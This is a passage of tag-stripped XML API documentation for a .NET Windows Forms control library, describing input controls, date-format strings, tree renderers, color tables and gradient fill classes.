all Bars. + + + + + ImageList for medium-sized images used on Items. + + + + + ImageList for large-sized images used on Items. + + + + + Indicates whether Tooltips are shown on Bars and menus. + + + + + Indicates whether item shortcut is displayed in Tooltips. + + + + + Gets or sets whether gray-scale algorithm is used to create automatic gray-scale images. Default is true. + + + + + Creates new instance of the class. + + + + + Resets the input position so the new input overwrites current value. + + + + + Called when InputHorizontalAlignment property value has changed. + + Old value. + New Value. + + + + Indicates whether property should be serialized by Windows Forms designer. + + + + + Resets the property to default value. + + + + + Resets style to default value. Used by windows forms designer. + + + + + Selects next input field if possible. + + true if next input field was selected otherwise false. + + + + Selects previous input field if possible. + + true if previous input field was selected otherwise false. + + + + ISupportInitialize.BeginInit implementation. While initialization is in progress ValueChanged events will not be fired. + + + + + ISupportInitialize.EndInit implementation. + + + + + Occurs when ButtonCustom control is clicked. + + + + + Occurs when ButtonCustom2 control is clicked. + + + + + Gets or sets whether control system buttons are rendered. Default value is true. + + + + + Gets or sets whether during painting OnPaintBackground on base control is called when BackColor=Transparent. + + + + + Gets whether watermark text should be rendered. + + + + + Gets or sets whether mouse wheel affects the input control. Default value is true. + + + + + Gets whether keyboard focus is within the control. + + + + + Gets the reference to internal visual item used as the root visual for the control. Using this property is in all cases not necessary except for some + very advanced usage scenarios. + + + + + Gets or sets the input field alignment inside the control + + + + + Gets or sets the watermark font. + + + + + Gets or sets the watermark text color. + + + + + Gets or sets whether watermark text is displayed if set for the input items. Default value is true. + + + + + Gets or sets the watermark text displayed on the input control when control is empty. + + + + + Gets or sets the watermark text alignment. Default value is left. + + + + + Gets or sets whether FocusHighlightColor is used as background color to highlight text box when it has input focus. Default value is false. + + + + + Gets or sets the color used as background color to highlight text box when it has input focus and focus highlight is enabled. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Specifies the background style of the control. + + + + + Gets the preferred height of the control. + + + + + Gets or sets the keys used to navigate between the input fields provided by this control. + + + + + Gets or sets the control background color when control is disabled. Default value is an empty color which indicates that background is not changed when control is disabled. + + + + + Gets or sets the control text color when control is disabled. Default value is an empty color which indicates that background is not changed when control is disabled. + + + + + Gets the system colors used by the control. + + + + + Defines an interface for the object that knows how to invoke a command. + + + + + Gets or sets the command that will be executed when the command source is invoked. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + Initializes a new instance of the NumericInputBase class. + + + + + Raises the LockUpdateChanged event. + + Provides event data./ + + + + Gets or sets a value indicating whether a spin button control (up-down control) is used to adjust the current value. The default is false. + + When the ShowUpDown property is set to true, a spin button control is shown to adjust value of currently focused input item. + The value can be adjusted by using the up and down buttons to change the value. + + + + + + Decreases value of the control. + + + + + Increases the value of the control. + + + + + Shows drop-down popup. Note that popup will be shown only if there is a DropDownControl assigned or DropDownItems collection has at least one item. + + + + + Closes the drop-down popup if it is open. + + + + + Raises the ButtonClearClick event. + + + + + + Raises the ButtonDropDownClick event. + + + + + + Raises the ValueChanged event. + + Provides event arguments. + + + + Raises the ValueChanged event. + + Provides event arguments. + + + + Called when Command property value changes. + + + + + + + + + + + Occurs when the Value or IsEmpty property changes. + + This event is not raised when the entered date is earlier than MinDateTime or later than MaxDateTime. + + + + + + Occurs when the Value or IsEmpty property changes. This event occurs at the same time and has same function as ValueChanged event. It is provided for binding support. + + + + + Occurs when Clear button is clicked and allows you to cancel the default action performed by the button. + + + + + Occurs when Drop-Down button that shows calendar is clicked and allows you to cancel showing of the popup. + + + + + Occurs when ShowCheckBox property is set to true and user changes the lock status of the control by clicking the check-box. + + + + + Gets or sets whether input part of the control is read-only. When set to true the input part of the control becomes read-only and does not allow the typing. However, drop-down and up/down buttons part if visible still allows user to possibly change the value of the control through the method you can provide on drop-down or through up/down buttons. Use this property to allow change of the value through drop-down or up/down buttons only. + + + + + Gets or sets a value indicating whether a check box is displayed to the left of the input value. + Set to true if a check box is displayed to the left of the input value; otherwise, false. The default is false. + + When the ShowCheckBox property is set to true, a check box is displayed to the left of the input in the control. When the check box is selected, the value can be updated. When the check box is cleared, the value is unable to be changed. + You can handle the LockUpdateChanged event to be notified when this check box is checked and unchecked. Use LockUpdateChecked property + to get or sets whether check box is checked. + + + + + + Gets or sets whether check box shown using ShowCheckBox property which locks/unlocks the control update is checked. + + + + + Gets the object that describes the settings for the button that shows drop-down when clicked. + + + + + Gets the object that describes the settings for the button that clears the content of the control when clicked. + + + + + Gets the object that describes the settings for the button that switches the control into the free-text entry mode when clicked. + + + + + Gets the object that describes the settings for the button that displays popup calculator. + + + + + Gets or sets the Numeric String Format that is used to format the numeric value entered for display purpose. Read more about + available formats in MSDN under "Standard Numeric Format Strings" and "Custom Numeric Format Strings" topics. + + The format specified here indicates the format for display purpose only, not for the input purpose. + For example to display the number in system Currency format set the DisplayFormat to 'C'. + + + + + + Gets or sets whether empty null/nothing state of the control is allowed. Default value is true which means that IsEmpty property + may return true if input value is resets or ValueObject set to null/nothing. + + + + + Gets or sets whether control is empty i.e. it does not hold a valid value. + + + + + Specifies the behavior of ValueChanged event triggering. + + + + + Gets or sets the input field alignment inside the control + + + + + Gets or sets the reference of the control that will be displayed on popup that is shown when drop-down button is clicked. + + + + + Gets the collection of BaseItem derived items displayed on popup menu. + + + + + Gets or sets whether auto-overwrite functionality for input is enabled. When in auto-overwrite mode input field will erase existing entry + and start new one if typing is continued after InputComplete method is called. + + + + + Gets or sets the command assigned to the item. Default value is null. + Note that if this property is set to null Enabled property will be set to false automatically to disable the item. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + Gets or sets the keyboard key that will toggle FreeTextEntryMode. Default value is Keys.None. + + + + + Occurs if Free-Text entry value is not natively recognized by the control and provides you with opportunity to convert that value to the + value control expects. + + + + + Occurs when Free-Text button is clicked and allows you to cancel its default action. + + + + + Gets or sets whether free text entries are attempted to be auto-resolved to dates like Today to today's date or Now to date and time now etc. Default value is true. + + + + + Gets or sets whether free-text entry is automatically turned off when control loses input focus. Default value is false. + + + + + Gets or sets whether control input is in free-text input mode. Default value is false. + + + + + Decreases value of the control. + + + + + Increases the value of the control. + + + + + Copies the current value in the control to the Clipboard. + + + + + Pastes the current Clipboard content if possible as the value into the control. + + + + + Moves the current control value to the Clipboard. + + + + + Raises the ParseValue event. + + Provides event arguments. + + + + Occurs when ValueObject property is set and it allows you to provide custom parsing for the values. + + + + + Gets or sets whether mouse wheel increases or decreases the input value when used. + + + + + Gets or sets the value displayed in the control. + + + + + Gets or sets the value of the control as an object. This property allows you to bind to the database fields and supports + null values. Expected value is int type or null. + + + + + Gets or sets the maximum value that can be entered. + + + + + Gets or sets the minimum value that can be entered. + + + + + Gets or sets the value to increment or decrement the value of the control when the up or down buttons are clicked. + + + + + Control for input of the integer value. + + + + + Copies the current value in the control to the Clipboard. + + + + + Pastes the current Clipboard content if possible as the value into the control. + + + + + Moves the current control value to the Clipboard. + + + + + Raises the ParseValue event. + + Provides event arguments. + + + + Decreases value of the control. + + + + + Increases the value of the control. + + + + + Occurs when ValueObject property is set and it allows you to provide custom parsing for the values. + + + + + Gets or sets whether mouse wheel increases or decreases the input value when used. + + + + + Gets or sets the value displayed in the control. + + + + + Gets or sets the value of the control as an object. This property allows you to bind to the database fields and supports + null values. Expected value is int type or null. + + + + + Gets or sets the maximum value that can be entered. + + + + + Gets or sets the minimum value that can be entered. + + + + + Gets or sets the value to increment or decrement the value of the control when the up or down buttons are clicked. + + + + + Initializes a new instance of the DateTimeInput class. + + + + + Copies the current value in the control to the Clipboard. + + + + + Pastes the current Clipboard content if possible as the value into the control. + + + + + Moves the current control value to the Clipboard. + + + + + Gets or sets the default date-time values that are used by the control. + + + + + Gets or sets a value indicating whether a spin button control (up-down control) is used to adjust the date/time value. The default is false. + + When the ShowUpDown property is set to true, a spin button control is shown to adjust value of currently focused input item. + The date and time can be adjusted by selecting each element individually and using the up and down buttons to change the value. + + + + + + Gets whether Value property should be serialized by Windows Forms designer. + + true if value serialized otherwise false. + + + + Resets Value property to default value. Used by Windows Forms designer. + + + + + Raises the ParseValue event. + + Provides event arguments. + + + + Gets whether Value property should be serialized by Windows Forms designer. + + true if value serialized otherwise false. + + + + Reset the MinDate property to its default value. + + + + + Gets whether Value property should be serialized by Windows Forms designer. + + true if value serialized otherwise false. + + + + Reset the MaxDate property to its default value. + + + + + Gets the Culture used by the date time input and month calendar controls + + reference to CultureInfo + + + + Raises the LockUpdateChanged event. + + Provides event data./ + + + + Raises the ValueChanged event. + + Provides event arguments. + + + + Raises the ButtonClearClick event. + + + + + + Raises the ButtonDropDownClick event. + + + + + + Called when DateTimeSelectorVisibility property has changed. + + Old property value + New property value + + + + Called when TimeFormat property has changed. + + Old property value + New property value + + + + Called when TimeSelectorType property has changed. + + Old property value + New property value + + + + Called when Command property value changes. + + + + + + + + + + + Occurs when the Value or IsEmpty property changes. + + This event is not raised when the entered date is earlier than MinDateTime or later than MaxDateTime. + + + + + + Occurs when the Value or IsEmpty property changes. This event occurs at the same time and has same function as ValueChanged event. It is provided for binding support. + + + + + Occurs when the Format property value has changed. + + + + + Occurs when Clear button is clicked and allows you to cancel the default action performed by the button. + + + + + Occurs when Drop-Down button that shows calendar is clicked and allows you to cancel showing of the popup. + + + + + Occurs when ValueObject property is set and it allows you to provide custom parsing for the values. + + + + + Occurs when ShowCheckBox property is set to true and user changes the lock status of the control by clicking the check-box. + + + + + Gets whether popup calendar is open. + + + + + Gets or sets whether selected date on popup calendar can be changed using keyboard arrow keys. + + + + + Gets or sets a value indicating whether a check box is displayed to the left of the selected date. + Set to true if a check box is displayed to the left of the selected date; otherwise, false. The default is false. + + When the ShowCheckBox property is set to true, a check box is displayed to the left of the date in the control. When the check box is selected, the date/time value can be updated. When the check box is cleared, the date/time value is unable to be changed. + You can handle the LockUpdateChanged event to be notified when this check box is checked and unchecked. Use LockUpdateChecked property + to get or sets whether check box is checked. + + + + + + Gets or sets the date time value of the control. You can use IsEmpty property to check whether control holds an empty value. + Setting this property to System.DateTime(0) will also make the control Empty if AllowEmptyState=true. + + + + + Gets or sets the date/time value of the control as an object. This property allows you to bind to the database fields and supports + null values. Expected value is DateTime object or null to indicate no date selected. + + + + + Gets or sets the values of the nested DateTimeGroup items. + + When nested date-time groups are used note that some of the features of the control are disabled, notably minimum and maximum values + for nested date-times. + + + + + + Gets or sets whether empty null/nothing state of the control is allowed. Default value is true which means that IsEmpty property + may return true if input value is resets or ValueObject set to null/nothing. + + + + + Gets or sets whether control is empty i.e. it does not hold a valid DateTime value. + + + + + Gets or sets the minimum date and time that can be selected in the control. + + + + + Gets or sets the maximum date and time that can be selected in the control. + + + + + Gets or sets the format date/time is displayed in. To specify custom format set this value to Custom and specify custom format using CustomFormat property. + + + + + Gets or sets the custom date/time format string. + + + + To display string literals that contain date and time separators or format strings listed below, + you must use escape characters in the substring. For example, to display the date as "June 15 at 12:00 PM", + set the CustomFormat property to "MMMM dd 'at' t:mm tt". If the "at" substring is not enclosed by escape characters, + the result is "June 15 aP 12:00PM" because the "t" character is read as the one-letter A.M./P.M. format string (see the format string table below). + + + To display single quote in custom format use two single quotes characters like so '' after each other and they will be displayed as single quote. + + The following list shows all the valid format strings and their descriptions: + + + Format String + Description + + + d + The one- or two-digit day. + + + dd + The two-digit day. Single-digit day values are preceded by a 0. + + + ddd + The three-character day-of-week abbreviation. + + + dddd + The full day-of-week name. + + + jjj + The three-digit day-of-year day. Single and two-digit values are preceded by 0. + + + j + The three-digit day-of-year day. + + + h + The one- or two-digit hour in 12-hour format. + + + hh + The two-digit hour in 12-hour format. Single digit values are preceded by a 0. + + + H + The one- or two-digit hour in 24-hour format. + + + HH + The two-digit hour in 24-hour format. Single digit values are preceded by a 0. + + + m + The one- or two-digit minute. + + + mm + The two-digit minute. Single digit values are preceded by a 0. + + + M + The one- or two-digit month number. + + + MM + The two-digit month number. Single digit values are preceded by a 0. + + + MMM + The three-character month abbreviation. + + + MMMM + The full month name. + + + s + The one- or two-digit seconds. + + + ss + The two-digit seconds. Single digit values are preceded by a 0. + + + t + The one-letter A.M./P.M. abbreviation (A.M. is displayed as "A"). + + + tt + The two-letter A.M./P.M. abbreviation (A.M. is displayed as "AM"). + + + y + The one-digit year (2001 is displayed as "1"). + + + yy + The last two digits of the year (2001 is displayed as "01"). + + + yyyy + The full year (2001 is displayed as "2001"). + + + { + Starts the nested date-time group inside of the control. Note that nested groups must always be closed. + Nested date-time groups can be used to represent range of input date/time values in the control + To access nested values use Values property. For example to have control represent the input from two time values you could set + CustomFormat to 'from' {HH:mm} 'to' {HH:mm} which will create two nested date/time groups that represent the time value. Entered + time values can be accessed through Values property which return an array of all input values. + + + } + Ends the nested date-time input group. + + + + + + + Gets or sets the CultureInfo for the culture used by the DateTime Input controls and Month Calendar controls. + Default value is null which indicates that controls will use CurrentUICulture. + + + + + Gets or sets whether auto-overwrite functionality for input is enabled. When in auto-overwrite mode input field will erase existing entry + and start new one if typing is continued after InputComplete method is called. + + + + + Gets or sets whether check box shown using ShowCheckBox property which locks/unlocks the control update is checked. + + + + + Gets the object that describes the settings for the button that shows drop-down calendar when clicked. + + + + + Gets the object that describes the settings for the button that clears the content of the control when clicked. + + + + + Gets the object that describes the settings for the button that switches the control into the free-text entry mode when clicked. + + + + + Gets or sets whether input part of the control is read-only. When set to true the input part of the control becomes + read-only and does not allow the typing. However, drop-down part if visible still allows user to change the value of the control + Use this property to allow change of the value through drop-down picker only. + + + + + Gets or sets whether empty input values (year, month or day) are set to defaults while user is entering data. Default value is true. + + + + + Gets the reference to the internal MonthCalendarItem control which is used to display calendar when drop-down is open. + + + + + Gets or sets whether first day in month is automatically selected on popup date picker when month or year is changed. + + + + + Gets or sets whether input focus is automatically advanced to next input field when input is complete in current one. + + + + + List of characters that when pressed would select next input field. For example if you are + allowing time input you could set this property to : so when user presses the : character, + the input is forwarded to the next input field. + + + + + Gets or sets the date-time selectors visibility on popup. Default value is Auto which will select selector visibility based on Format property setting. + + + + + Returns reference to internal time selector item which is used on drop-down to select time when control is used in time entry mode. + + + + + Gets or sets the popup time selector time format used to present time by the selector i.e. 12H or 24H format. + + + + + Indicates the type of popup time selector used. + + + + + Gets or sets the command assigned to the item. Default value is null. + Note that if this property is set to null Enabled property will be set to false automatically to disable the item. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + Occurs if Free-Text entry value is not natively recognized by the control and provides you with opportunity to convert that value to the + value control expects. + + + + + Occurs when Free-Text button is clicked and allows you to cancel its default action. + + + + + Gets or sets whether free text entries are attempted to be auto-resolved to dates like Today to today's date or Now to date and time now etc. Default value is true. + + + + + Gets or sets whether free-text entry is automatically turned off when control loses input focus. Default value is false. + + + + + Gets or sets whether control input is in free-text input mode. Default value is false. + + + + + Initializes a new instance of the DateTimeCellEditor class. + + + + + Represents cell display class. + + + + + Represents information necessary to paint the cell on canvas. + + + + + Initializes the tree color tables. + + + + + Provides data for RenderColumnHeader event. + + + + + Gets the column header that is rendered. + + + + + Target Graphics canvas. + + + + + Gets the bounds of the column header. + + + + + Gets the effective style for the column. + + + + + Gets the AdvTree control header is rendered for. + + + + + Gets or sets the color of the column sort indicator. + + + + + Initializes a new instance of the ColumnHeaderRendererEventArgs class. + + + + + Initializes a new instance of the ColumnHeaderRendererEventArgs class. + + + + + + + + + Represents helper class for node connector display. + + + + + From node reference. + + + + + From node style reference. + + + + + To node reference. + + + + + To node style reference. + + + + + Graphics object used for drawing. + + + + + Node offset since some node coordinates are relative. + + + + + Indicates whether from node is a root node. + + + + + Reference to node connector object that describes connector type. + + + + + Gets or sets whether connector is link connector. + + + + + Reference to the collection of the connector path points. Default value is null indicating there are no path points. + + + + + Provides data for the NodeRenderer.RenderDragDropMarker event. + + + + + Gets or sets reference to Graphics object, canvas node is rendered on. + + + + + Gets or sets the selection bounds. + + + + + Initializes a new instance of the DragDropMarkerRendererEventArgs class. + + + + + Initializes a new instance of the DragDropMarkerRendererEventArgs class. + + + + + + + Represents the line connector display class. + + + + + Base class for drawing node connectors. + + + + + Creates new instance of the object. + + + + + Draws connector line between two nodes. + + Connector context information. + + + + Returns new instance of pen object for node connector line. Caller is responsible for + disposing of this object. + + Node connector display info. + New instance of Pen object. + + + + Draws connector line between two nodes. + + Connector context information. + + + + Provides information for cell rendering methods and events. + + + + + Summary description for NodeRendererEventArgs. + + + + + Gets or sets reference to Graphics object, canvas node is rendered on. + + + + + Gets or sets the reference to Node object being rendered. + + + + + Gets or sets the absolute node bounds. + + + + + Gets or sets the reference to element style for rendered node or cell. Style provided here is the style + for current node or cell state. + + + + + Gets or sets color that is passed to renderer. May be Color.Empty. + + + + + Creates new instance of the class. + + + + + Gets or sets the cell being rendered. + + + + + Gets or sets absolute cell bounds. + + + + + Gets or sets the internal cell offset. + + + + + Gets or sets the color scheme. + + + + + Creates new instance of the class. + + + + + Creates new instance of the class and initializes it with default values. + + Reference to graphics object. + Reference to context node. + Reference to node bounds + Reference to cell style + Reference to cell + Reference to cell bounds + + + + Represents custom connector path info. + + + + + Summary description for NodeDisplay. + + + + Creates new instance of the class + Object to initialize class with. + + + + Paints the layout on canvas. + + + + + Sets locked offset to specific value. Point.Empty means there is no locked offset set. + + New locked offset. + + + + + + + + + + Gets or sets the offset of the tree content relative to the size of the container control. + + + + Gets or sets whether offset is locked, i.e. cannot be changed. + + + + Returns the default offset for the tree content relative to the size of the container. + + + + + Gets or sets the reference to the tree control managed by display class. + + + + + Base class for node expand button display. + + + + Creates new instance of the class + + + Draws expand button. + Context parameters for drawing expand button. + + + + Represents class that paints elliptical expand button. + + + + Draws ellipse type expand button. + Expand context drawing information. + + + + Represents expand button display using predefined images. + + + + + Draws image type expand button. + + Expand context information + + + + Represents event arguments for RenderExpandPart event. + + + + + Gets or sets reference to Graphics object, canvas node is rendered on. + + + + + Gets or sets the reference to Node object being rendered. + + + + Expand part bounds + + + Expand part border color + + + Expand part line color + + + Expand part background color + + + Expand part target gradient background color + + + Gradient angle + + + Expand part image when node is expanded + + + Expand part image when node is collapsed + + + Internal support for expand button types + + + Gets whether mouse is over expand part + + + + Creates new instance of the class and initializes it with default values. + + Reference to graphics object. + + + + Represents class that paints rectangular expand button. + + + + + Draw rectangular type expand button. + + Expand button context information. + + + + Draw triangular type expand button. + + Expand button context information. + + + + Represent class that paints selection around node. + + + + + Represents default system node and cell renderer. + + + + + Represents abstract renderer class for node objects. + + + + + Draws node background. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderNodeBackground method so events can occur. + + Information provided for rendering. + + + + Raises RenderNodeBackground event. + + Event arguments. + + + + Draws node expand part. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderNodeExpandPart method so events can occur. + + Information provided for rendering. + + + + Raises RenderNodeExpandPart event. + + + + + + Draws cell background. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderCellBackground method so events can occur. + + Information provided for rendering. + + + + Raises RenderCellBackground event. + + Event arguments + + + + Draws cell check box. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderCellCheckBox method so events can occur. + + Information provided for rendering. + + + + Raises RenderCellCheckBox event. + + Event arguments + + + + Draws cell image. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderCellImage method so events can occur. + + Information provided for rendering. + + + + Raises RenderCellImage event. + + Event arguments + + + + Draws cell text. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderCellText method so events can occur. + + Information provided for rendering. + + + + Raises RenderCellImage event. + + Event arguments + + + + Draws selection for SelectedNode. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderSelection method so events can occur. + + Information provided for rendering. + + + + Raises RenderSelection event. + + Event data. + + + + Draws hot-tracking marker for mouse over node. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderHotTracking method so events can occur. + + Information provided for rendering. + + + + Raises RenderHotTracking event. + + Event data. + + + + Draws connector between nodes. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderConnector method so events can occur. + + Information provided for rendering. + + + + Raises RenderConnector event. + + Event data. + + + + Draws the tree background. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderTreeBackground method so events can occur. + + Information provided for rendering. + + + + Raises RenderTreeBackground event. + + Event data. + + + + Draws the drag & drop marker that indicates the insertion point for the node. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderDragDropMarker method so events can occur. + + Information provided for rendering. + + + + Raises RenderDragDropMarker event. + + Event data. + + + + Draws the column header. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderColumnHeader method so events can occur. + + Information provided for rendering. + + + + Raises RenderDragDropMarker event. + + Event data. + + + + Draws node group line when in tile view. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderTileGroupLine method so events can occur. + + Information provided for rendering. + + + + Raises RenderNodeBackground event. + + Event arguments. + + + + Occurs when node background is being drawn. + + + + + Occurs when node expand part is being drawn. + + + + + Occurs when cell background is being drawn. + + + + + Occurs when cell check-box is being drawn. + + + + + Occurs when cell image is being drawn. + + + + + Occurs when cell text is being drawn. + + + + + Occurs when node selection marker is rendered. + + + + + Occurs when node hot-tracking marker is rendered. + + + + + Occurs when node connector is being drawn. + + + + + Occurs when tree background is rendered. + + + + + + Renders the Column Header. + + + + + Occurs when node group line is being rendered while control is in tile view. + + + + + Gets or sets the color table used by the renderer. + + + + + Gets or sets the color table used by the renderer. + + + + + Returns ElementStyleDisplayInfo class that provides information for ElementStyle rendering. + + Reference to style. + Reference to graphics object. + Style bounds + New instance of ElementStyleDisplayInfo + + + + Draws node background. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderNodeBackground method so events can occur. + + Information provided for rendering. + + + + Draws node expand part. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderNodeExpandPart method so events can occur. + + Information provided for rendering. + + + + Draws cell background. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderCellBackground method so events can occur. + + Information provided for rendering. + + + + Draws cell check box. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderCellCheckBox method so events can occur. + + Information provided for rendering. + + + + Draws cell image. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderCellImage method so events can occur. + + Information provided for rendering. + + + + Draws cell text. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderCellText method so events can occur. + + Information provided for rendering. + + + + Draws selection for SelectedNode. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderSelection method so events can occur. + + Information provided for rendering. + + + + Draws hot-tracking marker for mouse over node. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderHotTracking method so events can occur. + + Information provided for rendering. + + + + Draws connector between nodes. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderConnector method so events can occur. + + Information provided for rendering. + + + + Draws the tree background. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderTreeBackground method so events can occur. + + Information provided for rendering. + + + + Draws the drag & drop marker that indicates the insertion point for the node. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderDragDropMarker method so events can occur. + + Information provided for rendering. + + + + Draws the column header. If you need to provide custom rendering this is the method that you should override in your custom renderer. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderColumnHeader method so events can occur. + + Information provided for rendering. + + + + Draws node group line when in tile view. If you need to provide custom rendering this is the method that you should override in your custom rendered. If you + do not want default rendering to occur do not call the base implementation. You can call OnRenderTileGroupLine method so events can occur. + + Information provided for rendering. + + + + Summary description for NodeTreeDisplay. + + + + Creates new instance of the class + Object to initialize class with. + + + + Paints the tree on canvas. + + + + + Defines the color table for tree selection. + + + + + Gets or sets the outer border for the selection. + + + + + Gets or sets the outer border corner radius. + + + + + Gets or sets the inner border for the selection. + + + + + Gets or sets the selection fill. + + + + + Gets or sets the selection text color. + + + + + Data form RenderSelection event. + + + + + Gets or sets reference to Graphics object, canvas node is rendered on. + + + + + Gets or sets the reference to selected Node object. + + + + + Gets or sets the selection bounds. + + + + + Gets or sets the node selection box style. + + + + + Gets or sets whether tree control is active, focused. + + + + + Provides data for tree background rendering events. + + + + + Gets or sets reference to Graphics object, canvas tree background is rendered on. + + + + + Gets or sets the reference to AdvTree control. + + + + + Creates new instance of the class and initializes it with default values. + + Reference to graphics object. + + + + Defines the Tree color table. + + + + + Gets or sets the color table used for the node selection display. + + + + + Gets or sets the color for node drag & drop marker. + + + + + Gets or sets the color of tree expand button type of rectangle. + + + + + Gets or sets the color of tree expand button type of Ellipse. + + + + + Gets or sets the color of tree expand button type of Triangle. + + + + + Gets or sets the color for tree grid lines. + + + + + Gets or sets the color of the column sort indicator which is rendered on columns when sorted. + + + + + Defines the color table for node expand button. + + + + + Gets or sets the border for the expand button which expands the node. + + + + + Gets or sets the expand button fill for button that expands the node. + + + + + Gets or sets the expand button foreground for button that expands the node. + + + + + Gets or sets the border for the expand button which expands the node. + + + + + Gets or sets the expand button fill for button that expands the node. + + + + + Gets or sets the expand button foreground for button that expands the node. + + + + + Gets or sets the border for the expand button which collapses the node. + + + + + Gets or sets the expand button fill for button that collapses the node. + + + + + Gets or sets the expand button foreground for button that expands the node. + + + + + Gets or sets the border for the expand button which collapses the node. + + + + + Gets or sets the expand button fill for button that collapses the node. + + + + + Gets or sets the expand button foreground for button that expands the node. + + + + + Defines the color table for tree selection. + + + + + Gets or sets the color table for FullRowSelect selection type. + + + + + Gets or sets the color table for FullRowSelect selection type when tree control is inactive. + + + + + Gets or sets the color table for HighlightCells selection type. + + + + + Gets or sets the color table for HighlightCells selection type when tree control is inactive. + + + + + Gets or sets the color table for NodeMarker selection type. + + + + + Gets or sets the color table for NodeMarker selection type when tree control is inactive. + + + + + Gets or sets the color table used for node hot-tracking. + + + + + Creates the pen for the border. + + Returns pen or null if pen cannot be created. + + + + Gets or sets the border width. Default value is 0. + + + + + Represents Collection for the ColorStop objects. + + + + Creates new instance of the class. + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Adds array of new objects to the collection. + + Array of object to add. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the ColorStop array. + + Array to copy to. + + + + Creates ColorBlend object based on the members of the collection. ColorBlend object will be valid only if all members of the collection + represents relative/percentage based color blends. + + + + + + Adds the ColorStop objects from the collection. + + Collection to copy objects from + + + + Initializes the collection with the two color blend. + + Collection to initialize. + Start color. + End color. + + + + Returns reference to the object in collection based on it's index. + + + + + Defines single color blend point for the multicolor gradient fills. + + + + + Creates new instance of the class. When defining multicolor gradient blends and using the percentage positions the positions created + must start with 0f and end with 1f. + + + + + Creates new instance of the class and initialize it with default values. + + + + + Gets or sets Color to use in multicolor gradient blend at specified position. + + + + + Gets or sets the color position in multicolor gradient blend. Values less or equal to 1 are used as percentage specifing percentages of distance along the gradient line. + Values greater than 1 are used as absolute pixel values of distance along the gradient line. + + + + + Represents BackgroundColorBlend object converter. + + + + + Creates the brush for fill. + + Bounds for the brush + Returns brush or null if brush cannot be created for given bounds or colors are not set. It is responsibility of caller to Dispose the brush. + + + + Creates a pen based on fill parameters. + + Width of the pen to create + new instance of pen or null if pen cannot be created. + + + + Initializes a new instance of the GradientFill class. + + + + + Initializes a new instance of the GradientFill class. + + + + + + + Initializes a new instance of the GradientFill class. + + + + + + + + Initializes a new instance of the GradientFill class. + + + + + + Initializes a new instance of the GradientFill class. + + + + + + Creates the brush for fill. + + Bounds for the brush + Returns brush or null if brush cannot be created for given bounds or colors are not set. It is responsibility of caller to Dispose the brush. + + + + Gets whether property should be serialized. + + true if property should be serialized + + + + Sets the property to its default value. + + + + + Gets whether property should be serialized. + + true if property should be serialized + + + + Sets the property to its default value. + + + + + Creates a pen based on fill parameters. + + Width of the pen to create + new instance of pen or null if pen cannot be created. + + + + Gets or sets the starting gradient fill color. + + + + + Gets or sets the end gradient fill color. + + + + + Gets the collection that defines the multicolor gradient background. + + + Setting this property creates a multicolor gradient with one color at each position along the gradient line. Setting this property nullifies all previous color, position, and falloff settings for this gradient fill. + + + + + Gets or sets the gradient fill angle. Default value is 90. + + + + + Defines a visual shape. + + + + + Renders shape on canvas. + + Target graphics to render shape on. + Shape bounds. + + + + Gets or sets the single piece of content inside of the shape. + + + + + Gets or sets whether to clip the Content of this shape. Default value is false. + + + + + Renders rectangle on canvas. + + Target graphics to render shape on. + Shape bounds. + + + + 